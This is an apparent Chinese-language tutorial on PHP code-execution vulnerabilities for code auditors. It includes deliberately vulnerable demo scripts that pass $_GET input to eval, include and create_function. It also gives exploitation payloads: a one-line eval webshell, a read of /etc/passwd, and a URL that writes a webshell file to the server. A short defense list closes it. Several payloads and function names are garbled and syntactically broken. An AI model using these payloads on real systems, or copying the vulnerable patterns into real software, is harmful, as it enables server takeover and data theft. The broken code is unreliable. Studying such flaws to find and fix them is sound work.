天天看點

代碼審計之代碼執行漏洞

目錄

代碼執行漏洞

1.代碼執行函數

​2.檔案包含代碼注入

3.正規表達式代碼注入

4.動态代碼執行

5.其他

PHP函數處理: php官方文檔

代碼執行漏洞利用

代碼執行漏洞的防禦

代碼執行漏洞

應用程式在調用一些能夠将字元串轉換為代碼的函數(例如php中的eval中),沒有考慮使用者是否控制這個字元串,将造成代碼執行漏洞。

PHP:eval assert

Python: exec

asp:<%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>

Java:沒有類似函數,但采用的反射機制和各種基于反射機制的表達式引擎(OGNL、SpEL、 MVEL等)有類似功能

指令執行漏洞危害:

執行代碼=>寫入webshell=>拿到伺服器權限

1.代碼執行函數

php中可以執行代碼的函數有:

  • eval()           eval('phpinfo();)參數為字元串,且滿足php代碼格式   或者eval(${phpinfo()}),php在執行過程中,會優先執行花括号裡邊的代碼
  • assert()        assert(phpinfo())參數為表達式或者函數
  • system()執行系統指令
  • exec()
  • shell_ exec()
  • passthru()
  • pcntl_ exec()

這些函數中的參數(部分)可控時,則可能指令注入漏洞。通常會使用escapeshellarg對參數進行處理。https://www.php.net/manual/zh/function.escapeshellarg.php

demo1.php

<?php
    $data = $_GET['data'];
    eval("\$ret = $data;");
    echo $ret;
?>
           
代碼審計之代碼執行漏洞

demo2.php

<?php
    $data = $_GET['data'];
    eval("\$ret = strtolower('$data');");
    echo $ret;
?>
           
代碼審計之代碼執行漏洞

demo3.php

<?php
    $data = $_GET['data'];
    eval("\$ret = strtolower(\"$data\");");
    echo $ret;
?>
           

代碼審計之代碼執行漏洞

2.檔案包含代碼注入

當檔案包含函數(include、 include_ once、require、 require_ once)中包含輸入變量時,可能導緻代碼注射。

條件: allow. _url include=On,PHP Version>=5.2.0

demo4.php

<?php include($_GET['data']); ?>
           

通路: http://127.0.0.1/demo4.php?a=data:text/plain,<?php phpinfo();?>可執行php指令

3.正規表達式代碼注入

原理:

preg. replace()函數:

當pattern中存在/e模式修飾符,比對上時,即允許執行replacement中的指令。

preg. replace ($pattern,$replacement,$subject, $limit, $count)

搜尋subject中比對pattern的部分,以replacement進行替換。

參數說明:

$pattern:要搜尋的模式,可以是字元串或一個字元串數組。

$replacement:用于替換的字元串或字元串數組。

$subject:要搜尋替換的目标字元串或字元串數組。

$limit: 可選,對于每個模式用于每個subject字元串的最大可替換次數。預設是-1 (無限制)。

$count:可選,為替換執行的次數。

demo5.php

代碼審計之代碼執行漏洞

4.動态代碼執行

1.動态變量代碼執行

demo6.php

<?php
$dyn_func = $_GET['dyn_func'];	//echo
$argument = $_GET['argument'];	//hello world
$dyn_func($argument);			//echo "hello world"
?>
           
代碼審計之代碼執行漏洞

2.動态函數代碼執行

demo7.php

<?php
$foobar = $_GET['foobar'];
$dyn_func = create_function('$foobar', "echo $foobar;");

$dyn_func($argument);
 ?>
           
代碼審計之代碼執行漏洞

5.其他

Array. map()将函數作用到數組中的每個值上。

demo8.php

<?php
function myfunction($v)
{
	return($v*$v);
}
$a = array(1,2,3,4,5);
print_r(array_map("myfunction", $a));
?>

//輸出
Array ( [0] => 1 [1] => 4 [2] => 9 [3] => 16 [4] => 25 ) 
           

PHP函數處理: php官方文檔

代碼執行漏洞利用

常見操作:

如果代碼控制點在參數id處。則可以使用以下的payload進行利用:

一句話

http://www.xxx.com/test.php?id={${@eval($_ POST[aa])}}
           

得到目前路徑

http://www.xxx.com/test.php?id={${print(getcwd))}}
           

讀檔案

http://www.xxx.com/test.php?id={${exit(var_ dump(file_ get contents($_ POST]'1)))}}
POST的資料為: f=/etc/passwd
           

寫入Webshell

http://wwwxx.com/test.php?id={${exit(var_ dump(file_ put contents($ POST[f],$_ POSTJ))}}
POST的資料為: f=1.php&d= <?php @eval($_ POST['aa'])?>
           

代碼執行漏洞的防禦

  • 使用json儲存數組,當讀取時就不需要使用eval
  • 對于必須使用eval的地方,一定嚴格處理使用者資料
  • 字元串使用單引号包括可控代碼,插入前使用addslashes轉義
  • 放棄使用preg_ replace的e修 飾符,使用preg_ replace_ callback()替 換
  • 若必須使用preg_ _replace的e修飾符,則必用單引号包裹正則比對出的對象